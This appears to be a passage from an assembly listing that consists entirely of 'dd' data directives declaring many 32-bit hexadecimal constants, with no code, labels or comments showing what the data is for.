dd 0E440E9FCh, 5FB7CE19h, 97AE25A1h, 3DBDDE44h, 0EA7090E4h
dd 383F4DF3h, 0D085A746h, 8CCEBE0Fh, 588B3FA9h, 0F063EEE9h
dd 6924FF7Fh, 33403D07h, 0CCD52B2Bh, 0FF3776C1h, 0C4750F8Ah
dd 11232EAh, 40A377DDh, 1D01D5D5h, 0D03592C6h, 0D4BA66CCh
dd 0B345907Bh, 0ABBD05B9h, 9AC1F926h, 0B70D7C2Bh, 0DB3CF2ACh
dd 1E2C8379h, 726DD1F7h, 0F0F4C1E2h, 9FD96339h, 94486AFBh
dd 50372CBh, 22A271EDh, 0D0032D24h, 7203202Dh, 4D458851h
dd 0B63CC131h, 4368B859h, 0E17D07DBh, 842BE1FDh, 7A94E354h
dd 67DF87EEh, 9BD1A3AFh, 4EEADF64h, 0B1866CF7h, 956E091Dh
dd 74516190h, 6B92A337h, 31CFEB76h, 84763C04h, 4871795Fh
dd 4706C35h, 0D146419Fh, 8E3A5359h, 86A7B809h, 6C98A873h
dd 8B6D0A3Ch, 0EF803B96h, 492577Bh, 25491A8Fh, 499149E6h
dd 99630836h, 0B5368AE3h, 0E6DF6567h, 8DBCC84Eh, 0BE1E7896h
dd 0D561356Dh, 40017A95h, 0E5C34CC6h, 0D7BC4E67h, 7C71E15Ch
dd 7D3912A5h, 0FBF59710h, 0D6BF4273h, 7A854A86h, 880D84E5h
dd 0C51603CAh, 7550BC88h, 0EA7FE7AAh, 0EF2005A9h, 14BF0FEAh
dd 0A625BBC0h, 0BA4AD5A4h, 0CDA35281h, 37557BEh, 877873E7h
dd 0C0CAE619h, 25FCAB77h
dd 8F4B5FCh, 0B0414092h, 10B2AC1Fh, 1B5D4C52h, 177A692Eh
dd 0E1C5862Eh, 0D490D2FCh, 0C9A67CDDh, 0A14CACC8h, 68D71FA9h
dd 990823E5h, 0D887CC3Bh, 7A39EE2Fh, 330C21FDh, 9C1FAC56h
dd 946ECA0Bh, 0DC2AA6D3h, 0DC3593Dh, 0B4EDBDC6h, 0B9E1588Ah
dd 7B8AD9C8h, 0ECB5FF45h, 528B271Ch, 95B84529h, 9CC58A9Eh
dd 0F2FB3C09h, 678043A1h, 6ED1CC60h, 243AAB5h, 0DE65F6F4h
dd 33F212E6h, 0BDE5B3BCh, 94F083Bh, 0F0013C1Dh, 0FEBC9DD3h
dd 29D21359h, 0DF6EE553h, 0C9F8FA86h, 0C263067Ch, 9C9AE8DFh
dd 0AF791A9Fh, 8CF6BA58h, 7AB9E990h, 70E03BB0h, 6B16005Dh
dd 7503C956h, 0E976C7CDh, 5539DE39h, 86AEAC14h, 0A2FC6D71h
dd 719F1455h, 0C29D040Ah, 11AB2640h, 0C9B7CE60h, 48626A87h
dd 9E79FDEBh, 922C2B2Dh, 0FC3D64E2h, 55916257h, 79315908h
dd 422A34F5h, 0E6BB0218h, 0F8BBED00h, 0A04869F2h, 0B567C9F0h
dd 0C942B001h, 0C43BCCA4h, 0EF21DCD7h, 4EF10994h, 90200E15h
dd 24836879h, 2C33ED3Ah, 86E29FBFh, 7F409DBDh, 0F95F77A3h
dd 0B5EF815Ah, 6B88A92Eh, 0AA30A85h, 0A2A217B8h, 156AAC01h
dd 0D10825C5h, 0B60A8955h, 3C3AF34Ah, 0A28A6D7Dh, 0A96D412Bh
dd 0AE3E66A3h, 7C13AA8Dh, 7D42F9D9h, 0F46D7A98h, 72F6E505h
dd 0AC073E2Fh, 78377480h, 0E8652A9Dh, 0A5DF838Bh, 5E1C66CCh
dd 0CBD05044h, 8EB4C2F0h, 309461DCh, 6F5DB66h, 6B69F17Ah
dd 0D36A2E98h, 596EEBB9h, 2A827229h, 1C07F374h, 0BA1EDA82h
dd 28BF8563h, 897DCCF0h, 492722Bh, 0E12FCA53h, 813C5390h
dd 30D774D5h, 0F71D7836h, 98D3DBBh, 98D0A8A2h, 0AFF80188h
dd 0E2C9572Dh, 67CDD66Ch, 51631E45h, 8E6A6C15h, 956B47EFh
dd 8912B470h, 7F951CF7h, 0B6E98F0Eh, 7F5498D1h, 4ACDF4B5h
dd 0A7DBE101h, 726BBD41h, 0B170E5B1h, 5438B5DCh, 0BEEEADDFh
dd 0BA1BF6B9h, 0DC6B1B91h, 0EC407B32h, 0D5984AD2h, 9CF8804Ch
dd 21BD835Bh, 594A9AC6h, 6D2EFDC2h, 0B3A32ACFh, 400B73B6h
dd 1B6AB098h, 8951F2BFh, 0F99E066h, 392C6A03h, 3BD0FA3h
dd 8355A22Dh, 0CED5159Ah, 0A99012C3h, 0FAE1C7DFh, 36A95028h
dd 0FB0CAB44h, 1E128F8Ah, 3A158654h, 44A876DEh, 0EEC048BAh
dd 158CF0E2h, 345991E4h, 85EEAB56h, 9B6CBF25h, 12489930h
dd 45C4AB35h, 203509D9h, 5A37DD03h, 50597E88h, 8E4002F2h
dd 20289BF5h, 0FB0AB967h, 45C53DA5h, 2C256B70h, 0D284229Fh
dd 0CBB545CDh, 0B63B552h, 27D45530h, 74F8D3DAh, 0F5CF66C8h
dd 0FE4BDC85h, 0B23DD732h, 383261D9h, 0DD4AE23Eh, 0A913A2Ah
dd 0E494BB2Bh, 7F9E3F13h, 0F2892FDCh, 2CE02AA7h, 0BD4D2FE5h
dd 2AF25FE0h, 0C4E6B066h, 0B9C97B24h, 82114B81h, 32C0C4D1h
dd 0E73A71F9h, 5A053608h, 0CBD08D68h, 0F795D485h, 0F558877Ah
dd 890D2C03h, 4690E71Dh, 2DFEC0B1h, 0C9D7DFCFh, 0F66D1250h
dd 0AC2A410Bh, 91BEDFE0h, 0CDF56903h, 92965976h, 0D262E7D6h
dd 77981F4Fh, 5229CE42h, 0BD80AE3Eh, 0EC26DD38h, 50567807h
dd 3A02478Ch, 718F976Bh, 82D076F4h, 7A7E60DBh, 74F90EF1h
dd 93E9F6CBh, 0AB3BDF43h, 788AD754h, 0AF1CB8E4h, 7B7C617Ah
dd 0DF268AB9h, 39E8AF50h, 0AA00F21Eh, 63668617h, 0A401A931h
dd 79A3EA7Eh, 0EE0D68F5h, 19375F7Ch, 4D7F2747h, 45F5CADBh
dd 0B6C42064h, 618EB8BCh, 8517AB14h, 1CF4E501h, 1475A5FBh
dd 0CEAEE584h, 0A4368763h, 4C182BD8h, 1F467A16h, 0B444447Bh
dd 2E016876h, 0FDE30DBDh, 2CE17D24h, 7A5D79B9h, 0B7AFDF43h
dd 4BE08542h, 52349241h, 6D2D33FAh, 0E503E113h, 8B4BEE4Dh
dd 0E3AD4229h, 0E6A26B69h, 7C273D4Dh, 61E4CF55h, 0B94FAE2Bh
dd 0BA55B4C3h, 0DB12460Bh, 360191ECh, 0B9983204h, 0B83A78B9h
dd 0E7C387F0h, 2ADE3556h, 6896E8Bh, 5B746DF6h, 3C50E3F2h
dd 4B1BFE3Bh, 6542FD79h, 491B8296h, 453D25B6h, 0FB18E92h
dd 32CCF26Dh, 425799AFh, 3F4832E0h, 0EAED15F6h, 0B0E9D5Fh
dd 96A5CE40h, 0FCDCE6DDh, 9DC08872h, 34975FCBh, 60CCF8A9h
dd 3AE2210Ch, 0FC54CBFFh, 9E31159h, 1C5FF364h, 0B283007Dh
dd 0D8EC87E0h, 21ED975Bh, 0FCC740C8h, 205DE0CBh, 0ABF3A501h
dd 1E31B2AAh, 0B797121Dh, 0C3AE783Ch, 1E5EC947h, 1F8735FBh
dd 6509C84Eh, 0F36B15E5h, 9BF41373h, 7C5DB3E9h, 2C1061DEh
dd 53394D03h, 9BD34EA9h, 465F4EC7h, 39D24759h, 2EEA4646h
dd 0A97EBDDEh, 78340FCCh, 80F921F0h, 0D701CCBEh, 0B48F3DF8h
dd 1E3CBCF4h, 0BAE531A5h, 0FCB773ACh, 8AB370Ah, 0AF2C187Eh
dd 0FD44982Ch, 18DCF9CBh, 3B253528h, 0CAA7E175h, 72795BA9h
dd 1D3E7135h, 0C7BFDF84h, 0E45FF95Dh, 1C5797Dh, 4C25270Bh
dd 411CD837h, 3AD45305h, 88873727h, 0FE8E232Ch, 49263B71h
dd 74374407h, 0ED629779h, 2B32FE4Bh, 3C640DDAh, 2129C739h
dd 5D9C0B85h, 8BCE518Fh, 6FCE62B1h, 1677B0ABh, 9475AB9Ch
dd 0F04E147Fh, 6B5C9FF4h, 864F43F1h, 2DEC52C0h, 520D01DEh
dd 65296E56h, 0E9D87105h, 738A0FB1h, 62FBD2E6h, 0D08B55F7h
dd 0E9FBBCD2h, 0DD469068h, 9889195Eh, 0FD62AACBh, 265EF377h
dd 18B9F027h, 738B8C9Bh, 3DB50677h, 0B34FD3C9h, 0F2573601h
dd 0BCF3A07Eh, 0C9FAF7A6h, 1DA8E588h, 357A51D4h, 0C98E700h
dd 0DE3C45FDh, 2BAE4B05h, 7DB6C258h, 0B651BC03h, 9F937B1Fh
dd 68B0E340h, 0A8C912FFh, 1FAC83DBh, 5E2579C6h, 51A4BF3Bh
dd 0F83CAD39h, 0C8F7EC3Ah, 0B487BF2Eh, 6873F0A2h, 50C21845h
dd 0CB0A802h, 129582CCh, 0B2869CB8h, 91DC9B38h, 9B54CFAFh
dd 433A1DCDh, 92DE6A87h, 30633482h, 418312C5h, 4144AB32h
dd 0AD6A1546h, 0D7E4929Bh, 0D424D60Bh, 1F41B143h, 609E484Bh
dd 0A41258C7h, 0DD00A897h, 1FFB7488h, 6C005EBEh, 0AA46B856h
dd 0FA827F17h, 49C0C58Ah, 0E73392Bh, 442A1373h, 0B6D25731h
dd 2E1413CCh, 7C2D025Ah, 0FF5EF8E2h, 2D27B129h, 28F76844h
dd 0AA192914h, 93D80F80h, 63823990h, 584074D9h, 0C9F87EFFh
dd 91111864h, 1C394C5Ch, 7BA416B8h, 0B80A6C38h, 2AA37816h
dd 84C7B001h, 65822A03h, 0F40FA7D8h, 29CF4776h, 6F4A3716h
dd 0F22C066Fh, 0A9F590B2h, 0CBA985F7h, 65F4CC74h, 0D8D68392h
dd 29E2F355h, 0C9922B2Bh, 2606D550h, 31A3BBh, 46E8A853h
dd 0A38AF9B6h, 0BFA322FEh, 2B136575h, 79DB797h, 1A117028h
dd 0C97CE973h, 5A7D0695h, 1BDA1CABh, 70421257h, 0FF414FCBh
dd 84439738h, 3B3EE612h, 0AD2B7E3Dh, 40EB39DBh, 57230D9Ah
dd 473543DCh, 4B94A2BDh, 0EE2126EEh, 0E6A30104h, 0A8F0740Ch
dd 585008BCh, 0A457DE0Fh, 7B426000h, 9F5D4390h, 0B80855F2h
dd 90965509h, 942C6FBDh, 62B62DCFh, 816D5696h, 0B5E6ADA3h
dd 0FC7B296Ah, 58EE0D77h, 79C111F7h, 0A129FBEBh, 0C334DDC1h
dd 987C1835h, 98D54EDAh, 33CDF781h, 0CE454875h, 0D62FB573h
dd 2F71192Eh, 0D0B26DBAh, 0A087420Dh, 3D88F8B2h, 0D631867Eh
dd 3ACB8AD0h, 0BD0FE4F3h, 0E4C1975Ah, 0B7AFAF28h, 51CEC327h
dd 3F039EC6h, 9B0F43DBh, 0B2657002h, 44415ECBh, 0FF33DC74h
dd 5A4A8BE9h, 0FC0B0EEFh, 0CC483FF7h, 0A5DB7FA8h, 45269A86h
dd 38751E67h, 0B6003A1Bh, 22267223h, 0A1E9685Ch, 5D94F4E1h
dd 2513B48Ah, 3F43BD15h, 145A22B3h, 0C37C6FDEh, 9B41B33Ch
dd 0B56B4013h, 660F35C2h, 0F779DED3h, 0C714DDF7h, 71E7EB87h
dd 0A1256D11h, 53D7AC67h
dd 265F2C56h, 0E88034A6h, 952F1873h, 65E787Bh, 89001AF0h
dd 4977D881h, 0C843E302h, 8CA150D0h, 459A00B4h, 0A438BFEBh
dd 0F2CC40D9h, 0EBBB717h, 0CA22E6F9h, 8564ABFAh, 8C8FC8FDh
dd 0AF8CEA6Ch, 0D259C82Ah, 787E2324h, 91F007Eh, 0E4640569h
dd 28479BE5h, 0C4529E57h, 72407FB6h, 0FC737A98h, 694FC4F6h
dd 4B46B72Bh, 0CB781043h, 0C2C85F62h, 0D68CA7AAh, 114B22FBh
dd 0E5C1C0B6h, 0DB8BB97Eh, 725E80Dh, 47CCFEB2h, 0F19626A4h
dd 2C355DF2h, 10FEC1B6h, 0FEDBA25Bh, 0EEA435C7h, 3F9308Bh
dd 5F62BCE7h, 868B3C18h, 835B450h, 23FC31DBh, 0F9B0885Ah
dd 7D4C7C8h, 73E48A80h, 0E145F14Ah, 41526972h, 0C22141FBh
dd 5F52BFB8h, 4FD6A1D3h, 72E391F3h, 0B41F35ADh, 1AA715AAh
dd 51A7F063h, 60EA029Dh, 13A978CAh, 58374DACh, 8A50ACC4h
dd 0C6835476h, 1B26F46Ch, 0C6486FE8h, 8389A4BCh, 860FB88Eh
dd 1471C5DEh, 0E98C8604h, 3F7B9F44h, 0A885D722h, 44D9AA20h
dd 0C01C966Ah, 7D9245D4h, 0D4719F8Fh, 3B80B940h, 35F28DF5h
dd 0E770026Eh, 0AB32D8C9h, 58D9E864h, 0ED02FE3Dh, 2C842D19h
dd 84DB6AC6h, 1399F4A6h, 8FD208Ch, 32094268h, 4B665755h
dd 0C931ED1Ah, 0CE261DC5h, 3494DB2Ah, 0B9261B56h, 0DD683747h
dd 0E18954C9h, 731683D0h, 0D5DD2E5Fh, 54872F99h, 43EA188Fh
dd 23805973h, 490F9527h, 202FE6BEh, 0E12B2B7h, 147C4AD3h
dd 5D9233DBh, 46785A3Ah, 8BF89D5Ah, 55D115Fh, 329438B8h
dd 6F24765Dh, 91650487h, 0B6C1196Eh, 0B998119Ch, 3A735341h
dd 0A4E09D8Eh, 27706829h, 94A36A96h, 0F4BCD7D1h, 5D7D8D18h
dd 0FA8C7EFCh, 605E3693h, 7EEDB1F7h, 0FD970BA9h, 0EE93FA6Ah
dd 7F9DD5B6h, 18388244h, 5740A9A6h, 24376422h, 0E2947743h
dd 3A6E8B95h, 9519F05Ah, 0ABD63E99h, 0E3D45266h, 762433A6h
dd 0FCB0E9E9h, 0F536BD27h, 8EEBA7B8h, 0A215E11Dh, 65030105h
dd 0E656FAFh, 3C68904Ah, 0E030992Eh, 6C6D3D7Dh, 19E0B1ACh
dd 0D481AB7Eh, 934D8934h, 6DC1A683h, 3D1BEC36h, 5AFBBD1Fh
dd 42E3BEB9h, 5499DF00h, 70CDFF1Ch, 9846C94Eh, 4BAF3FA4h
dd 0B30494D5h, 1D8B074Ah, 524BC8BFh, 2980873Eh, 263B35B0h
dd 821C403h, 0D5A036E9h, 6E88B8F6h, 535474A7h, 0E66074FAh
dd 0A8B14DA9h, 0A0FB2C52h, 0EED63D4h, 0CE476792h, 4A1E671Bh
dd 0AAF9BE37h, 8B12319Ah, 410A434Ah, 51A64398h, 0E16D5554h
dd 91FE9933h, 0E4AD3797h, 0F2BD9FD2h, 7F06DA82h, 0F9632160h
dd 0B9484AF1h, 0DDADB4C7h, 20F2D2F3h, 872721E2h, 0AE8EF99h
dd 2CF7CB0Ch, 13CDF69h, 2942388Dh, 3DD10h, 3097D3FFh, 0DFF1A3FAh
dd 0C80EDD8Fh, 0FF0DCB83h, 3C1C7A78h, 128E3827h, 0E35502AFh
dd 0D28C3577h, 0A7D45397h, 4B5B8948h, 0C14DCE84h, 1A0EE877h
dd 0E29C3216h, 3F90F4A3h, 7FF05CDDh, 3569CDDh, 9ABB6AD1h
dd 0A2AC1A7Bh, 8B4D1173h, 992B8858h, 6AA58F8h, 0FC18A171h
dd 8C6A6E59h, 0E879C609h, 768FE2EEh, 0ECD25982h, 0FA5ECB47h
dd 0A632083Bh, 26614B3Dh, 886C80D9h, 98DB46BEh, 9F22125Ch
dd 0A5F1F6Eh, 4B220720h, 4B066F4Ch, 0DCDFD219h, 0A2456381h
dd 398AAAEFh, 0E0B9AC02h, 634CBC87h, 59ECC4E8h, 3BA48094h
dd 0A5C78F50h, 38C827EAh, 754CE94Eh, 99C35830h, 0EBD977C6h
dd 3FAA3618h, 11B59F47h, 974F0FA3h, 462DC69Bh, 0BE47A6EFh
dd 43077897h, 4560DD28h, 0DD3916E0h, 0B80D2B16h, 3818AA9Eh
dd 0FDA05A0Ch, 0E73D9741h, 5510C10Ah, 193E2DB3h, 4BEBD243h
dd 59011238h, 0A481B987h, 91BE60A2h, 8B955B90h, 394FC336h
dd 0BC759FECh, 0B0EB9C6Dh, 0CB042652h, 56E4CADEh, 0B3F019B4h
dd 0BFF423E0h, 0EE78BB87h, 0FB66A0EFh, 0EA1DB19Dh, 0D1534B7Ah
dd 20215EE2h, 0E5BD7834h, 9378237Fh, 5DA1D513h, 49B93E51h
dd 88818629h, 4BD48AB5h, 943C1E39h, 1AE7B282h, 0B22801D0h
dd 20313415h, 2FA04C59h, 0ADD33829h, 7589CD21h, 0C8109EEDh
dd 9DC9B151h, 0A0053A65h, 7C5CB776h, 0C46F6DE2h, 0A4F39066h
dd 0ECABA56Ch, 0E554D352h, 52A1774Ah, 0E5B5AC86h, 976AEE3h
dd 7BC11D25h, 1779AFA9h, 27C86811h, 0ECF00743h, 0F99AAE6Bh
dd 0C06F056Dh, 5FC82B8Bh, 679B5E15h, 756E58DEh, 0E9A5C128h
dd 0AD1AE2Bh, 652182A9h, 8D723A28h, 30AD1BDCh, 36908764h
dd 0E5293C16h, 0B065CBE4h, 0F747C679h, 3552FC5Ch, 0BFA2D534h
dd 0F7F6DB57h, 0E9B03BD0h, 0ACB8F94Ch, 0EA3FE71Eh, 7FE344D3h
dd 0F0429BD1h, 112BAC10h, 0BD4FDD5Fh, 0D436BBA1h, 288635B1h
dd 0FABE690Dh, 665DDAF7h, 0A9AAE3A1h, 0E2EFB0DBh, 0C8B4F357h
dd 0C89F2F3Dh, 874E50A2h, 0DA983A10h, 0FB989C66h, 904DBA2Fh
dd 0C3088529h, 0DDF1C357h, 0B2B02BC7h, 7D73728Eh, 44EFCC95h
dd 36646C7h, 0DAD95DBFh, 4978770Ah, 0D9853A69h, 20D73701h
dd 68A2671Bh, 5C2A53F7h, 933B684Ah, 0D6725AB3h, 990473C9h
dd 3858010Dh, 39378332h, 0E030982Dh, 5021FAC3h, 0C88E0E42h
dd 0B99A7D79h, 44EAD52h, 63D3C4EDh, 2A4C556Eh, 0EC46B86Dh
dd 0C5B7F993h, 1EA9A127h, 1C153E96h, 197F85F7h, 6A53994Bh
dd 0D2E7A1D1h, 3D989457h, 0E891BCA0h, 70E3DCC3h, 0F604F0FBh
dd 5070793Dh, 0F27A6482h, 0A945051Bh, 1AF49CAh, 0B6A018C5h
dd 21BD6BF5h, 0ED0635Dh, 0FCB5A935h, 379C01E5h, 67A654B9h
dd 208D8F6Bh, 0ADC91598h, 8ECE748Eh, 7B16EBF6h, 55F99741h
dd 684D6839h, 0AFF9BDDEh, 839C20F6h, 0CB506435h, 0E07BA6A8h
dd 0A67E2C35h, 5A00835Eh, 2C2D6DD0h, 0C92CF2C7h, 0CC0794A9h
dd 24A3557Fh, 67AFBE3h, 73E485AFh, 0CD15E794h, 375282E0h
dd 461E071h, 5093B27Ch, 9A028790h, 0D7185BC8h, 0B2F2C3BAh
dd 0C4589D6Eh, 0E7FDB05Ah, 0E88E1D1Eh, 1896E342h, 0E7A992E1h
dd 5F968D5Ah, 858F218Dh, 0A42E687Fh, 1ABA3948h, 32F272FBh
dd 0C2F93530h, 84BEBCCCh, 967B54Bh, 6123FEADh, 371D6AC0h
dd 667F1360h, 0EC3E1D36h, 18BA2F2h, 297C0A12h, 0A01B2145h
dd 62283EA6h, 66016B3h, 0D3C4CAE9h, 0D81465B6h, 0B90D022Ch
dd 5B8F2DADh, 0A3114633h, 0F6AE6243h, 0B94F1B0Ah, 25B5A72Bh
dd 23249CCFh, 929F31E6h, 0A6F3268Ch, 0BC69D2A3h, 0E8C7A548h
dd 87E71EB1h, 822DA301h, 84CC8381h, 6715094h, 0BB27F1F5h
dd 5F24DD08h, 0FFCB86E8h, 50676230h, 52785FD3h, 1E4A2D6Ch
dd 0AC52940Fh, 0C7973C65h, 0ACF2718Bh, 6F3666CDh, 8C31E25Fh
dd 0B2AE441Eh, 49ACD2D2h, 3CC500D0h, 0FD77C04Bh, 0B96F7E6Eh
dd 6EA2D2F3h, 2BDDB752h, 88A08750h, 0D8CCB963h, 0FDD4A049h
dd 7E72B107h, 1197B98h, 0B52CFBA7h, 8D8819CAh, 93ECA210h
dd 98DC9F13h, 0C02AF2DEh, 3F39DBCDh, 37B30B44h, 0DEDDCB68h
dd 3A17FF23h, 4068B80Ch, 80D2165Ah, 355827D0h, 0D9D83679h
dd 0B3FEB825h, 0AC68BC1Fh, 0BA137A75h, 4485B37Ah, 0A8BD5110h
dd 23BA2E5Fh, 40FE5A47h, 2FCD78EDh, 630D03D7h, 7BF3584Ch
dd 8ECF2C93h, 0FF17F93Ch, 0D777640Fh, 0FBDF5480h, 79CAEAB8h
dd 367F26F7h, 98C800A1h, 4AC4209Bh, 0A3A1E269h, 0C32D2A94h
dd 14F1B8C8h, 3A8A79BCh, 6DBD810h, 0ADE02860h, 5FABDF1Eh
dd 0F22B5331h, 0C80D4453h, 512E2364h, 2CE05785h, 5923159Bh
dd 55DB01C5h, 0E661DE02h, 32959912h, 51115CEDh, 80CD4A6Dh
dd 8F55BFEBh, 0FF3B33ADh, 7F2C4618h, 7D7B12D4h, 8EB168C6h
dd 0CDF79174h
dd 5DB85B5Fh, 4A1B8388h, 0F706F0Ch, 0FABBFB28h, 0B0AF2A0Bh
dd 83F35458h, 6BD28063h, 8360202Fh, 245FF6CEh, 18BB8C7Fh
dd 3E14189Ch, 0EE65AC3Ah, 7861F0CFh, 0E10EEF63h, 3F4BCD3Ah
dd 8B60F438h, 5B12E05Bh, 4DEB2512h, 95F3E099h, 0CD4BCA8h
dd 0AA610549h, 6BA8C34Bh, 0BD2613D9h, 8C43D3E2h, 69B165F2h
dd 16479E8Fh, 86D25FC7h, 8E494EAEh, 0B1F28C81h, 20C0026Ch
dd 38B7881Ch, 0DB0227C1h, 75696F28h, 168315C1h, 0E24EA953h
dd 0D776412Ch, 710B2965h, 28E3A853h, 2358B103h, 18D51BEEh
dd 0BA02A1BCh, 0C3F35819h, 547DE485h, 9DCD16CBh, 606E8D28h
dd 0F22C165Ah, 0CC9EFDh, 15AD4992h, 36C25B2Dh, 805C69DCh
dd 93012608h, 759674ECh, 0BE0512FAh, 37EE66C8h, 8FAFF778h
dd 93C27AC0h, 3875459Ch, 3BF7B542h, 0E30C9E3Ah, 93F821BBh
dd 29FA3324h, 9283E1D9h, 0A93327A2h, 0AD2C946Dh, 7842450Ah
dd 0CFF57DE5h, 0E3F3150Ah, 1324C769h, 0BEE1F260h, 2B2D3775h
dd 0B4C37267h, 0B88A6CA4h, 4E52B053h, 21610B9Eh, 30380558h
dd 0F18E9D6Bh, 0B36C3FBh, 491B2B55h, 0A0DCC386h, 214165AFh
dd 99906D9Ch, 0FF944EB8h, 394128CFh, 0B32EE58h, 4BAA4857h
dd 8E115CBh, 103F2F46h, 3701F99Ch, 0FC0BF799h, 43B01B2Bh
dd 97452EC6h, 92FD9BDAh, 251EB9E8h, 173E22A6h, 0C5B6556Ch
dd 0CA1599C9h, 0E492CD81h, 0B7AD3B55h, 62F3C926h, 359A10EBh
dd 0ECAD7D72h, 0A5C49A78h, 26CC98ABh, 860879D1h, 0B53C4A42h
dd 0AC4AD8Dh, 684BA9EEh, 0E3303E1Dh, 461F7A33h, 3DF09941h
dd 0F89A6207h, 1CC9B60Dh, 64BFA4D6h, 9D2C2567h, 149D50EAh
dd 0EC25C9DEh, 0C34C0B3Ah, 8F77219Eh, 74C7D68Ch, 5D36DDFh
dd 0FCA46D0Fh, 0A6CC2636h, 2CDFED79h, 1A80D716h, 881E059Eh
dd 42906BC8h, 49C4A01Eh, 6C7877C1h, 6B92C315h, 0EE0449E8h
dd 1B60FCB9h, 1009E049h, 19C7C2ADh, 0EE5675E1h, 0CDC20606h
dd 53FF9845h, 0CE0E730Ah, 291FAC4Ch, 0A65D857Eh, 0D2C30E8Eh
dd 0F6712753h, 50153C20h, 1358C649h, 0D730B6F4h, 9A149891h
dd 17307C1Fh, 620E8620h, 770E86EAh, 0F687F454h, 965F9569h
dd 9C1016DCh, 0F28CFF47h, 0AF1745EFh, 0E22F97CDh, 0DF91AE3Dh
dd 62ED75F3h, 778F825h, 5DEBFF99h, 0DC735DC5h, 0BA1C32Eh
dd 664411F0h, 0EAD01F3Dh, 0A49EC702h, 0AA4C744Dh, 4078316h
dd 663DBA50h, 0CBA6260Ah, 0DB544C29h, 793F0D85h, 0DD4082ECh
dd 0F5084EA9h, 0BE3EF149h, 5515D0FDh, 0EB746514h, 0B977B44Ah
dd 63A27807h, 0E80E00BDh, 0AF885AC4h, 6911EF77h, 9649F30Fh
dd 8170D9A6h, 86F905A0h, 4CB0B13Bh, 281EFF50h, 38843486h
dd 0C0AB1385h, 6C8B155h, 0F68AAECFh, 22B1F568h, 0ABAD6760h
dd 113118B9h, 1FB88DF4h, 0BD5FE9C9h, 83BD3D0Ch, 650DD9B9h
dd 13822312h, 0CE4F3FA0h, 54AE5283h, 0FAA37CDDh, 8D4B7F21h
dd 60A0238Ah, 3B846219h, 0ED3C6A79h, 0FC9E616Bh, 0C056D584h
dd 0D4CFFF40h, 29A78C39h, 0BE231F67h, 0EE61EA26h, 64B6C498h
dd 281BBCCh, 3BD84E9h, 0EFB7CE86h, 0F1AF71F6h, 4AB38931h
dd 3DAAA060h, 0EE2D6DB0h, 431B1093h, 2BE733D6h, 126DBA0Dh
dd 0BC45FBCEh, 461AA19Fh, 9B5DCEBAh, 496718F3h, 77F911EAh
dd 0AAF31FEh, 0D1E95430h, 85215953h, 8C6D8789h, 2052D23Fh
dd 88559449h, 0B9957745h, 0BD050248h, 0DAC3E21Dh, 46514C7Ch
dd 3047B5B5h, 2F6DB1F7h, 326B8530h, 0DCBBA305h, 0B8CE4077h
dd 0B1D46CE6h, 842A35E6h, 258DC5B9h, 138C3C20h, 30185811h
dd 64036C3Fh, 507EA8E7h, 5179D81Eh, 9081DD19h, 1CDF281h
dd 0BDE74F9Fh, 225A6558h, 796BC118h, 0A451E5BBh, 0C896F1B0h
dd 46629FC6h, 4E97CD91h, 0A231AC11h, 0DD5A8731h, 0B34B637Dh
dd 4C32A205h, 0E3AA883h, 777C34E7h, 5CD531FEh, 1C163E17h
dd 0A463386Ch, 109A751Ch, 7045ADB6h, 0F4DA100Ah, 0DBF9FB1h
dd 43508D3Eh, 0D46C410Fh, 1886668Bh, 25C3D787h, 740F5C3Ah
dd 7A443A3Fh, 0C1967395h, 178621A5h, 376DEADCh, 6BAC0C5Bh
dd 0E7A56424h, 0FFC2C88h, 9C01809Fh, 573E2163h, 0B3D0BDDCh
dd 0AFD28FDAh, 629205C1h, 8F0792D7h, 449C63D9h, 9F7BF904h
dd 0D094711Ah, 33A0B778h, 2A0A20ADh, 6B37E43h, 7981266Ah
dd 0C6EF7CC3h, 0EA02D1A8h, 0AE74B791h, 21B3D447h, 3A8A643Ah
dd 0CB8D6B27h, 29D6069Ah, 0BE4346C5h, 0DB9ACBEFh, 0D6B31093h
dd 7808E86Ah, 1DE73101h, 425B33E6h, 9403F44Eh, 0D917D669h
dd 0E1137F18h, 0C2170234h, 6F92AC0h, 0F2808BB8h, 86B6A02h
dd 9486C9A7h, 0BC7D431Bh, 16483FFh, 0D96B67E3h, 344DD066h
dd 67B1788h, 4ABA401Eh, 0A55FBF6Ch, 0F2DA72E6h, 4A04D4F4h
dd 91D73807h, 0C5B59560h, 4437A78Bh, 0DC8E960Dh, 0A4AF81B8h
dd 674BB389h, 68A2CE0Bh, 5D286C71h, 0E17C2EFCh, 0E3B236C1h
dd 0ED1C9C4Ah, 2FC3B512h, 3050674h, 0E2C205E0h, 416049DDh
dd 0BB503F89h, 0C15804E1h, 1EDA766Dh, 213A00F4h, 879E6E1Fh
dd 0A0215ABAh, 502E1FC7h, 0E3066F6Eh, 690BEBE2h, 30BC819Bh
dd 0B1A5ACE6h, 6EAF2983h, 72F05909h, 0E4C7A8B1h, 0F86FD15Dh
dd 0D8F87923h, 8DC20CDDh, 0E1412EB7h, 4A1EEA59h, 0C88BF0C8h
dd 0EAB91D5h, 0E92B8BB8h, 7061BA1Dh, 0C17F1D97h, 0FB7BC213h
dd 0EF1CB336h, 5B8A9D8h, 0E19B3CDDh, 74B1BA26h, 3101AD60h
dd 81212288h, 0EBD31B4Fh, 60DFCD8Ah, 0C8CC0379h, 114CA15Ch
dd 1533D680h, 9A760D8Dh, 0CFC97FA4h, 22BECDEAh, 43FE170Ah
dd 0BFA29CFCh, 2AD349B6h, 490E1EE7h, 0F27985C3h, 802ED581h
dd 5177FF05h, 5073491Dh, 376F8399h, 9AEF5499h, 75A4B315h
dd 7C3EEE0Ah, 87DEA048h, 566B976Bh, 0B7ECDB72h, 87605597h
dd 6FA40788h, 0F04A9D5Ch, 67DF461Ah, 0E17624B6h, 6F5E75B7h
dd 0DF1170C9h, 939ED55h, 5586AF4h, 0ECDB752Ch, 0EDF078CEh
dd 0C51E4249h, 6DCA35CAh, 0C69214CFh, 0EFDE9E5Ch, 0DCF3A98Eh
dd 0DA69AE3Dh, 0E1889597h, 0C79492A5h, 0E795A62Ch, 0C5546380h
dd 0D2A6964Dh, 6ABB4F27h, 64F384DCh, 75A66679h, 913EEh
dd 3F3F0947h, 7601CDDFh, 99AF3933h, 29F66B34h, 69C4C056h
dd 0B850D47Bh, 60D48A42h, 4FB4D153h, 4A0C2954h, 62DA521Bh
dd 9A0CB8EBh, 0CF511AFh, 0BB5B511Ch, 0F6C31A94h, 0B3C46DE7h
dd 0E34D036Ah, 0DEE4807Ah, 0CCEA2233h, 0BEC6493Bh, 692F32AEh
dd 0E72DCC52h, 35394EB6h, 0F5DFDE32h, 4D904D29h, 9C83E21Fh
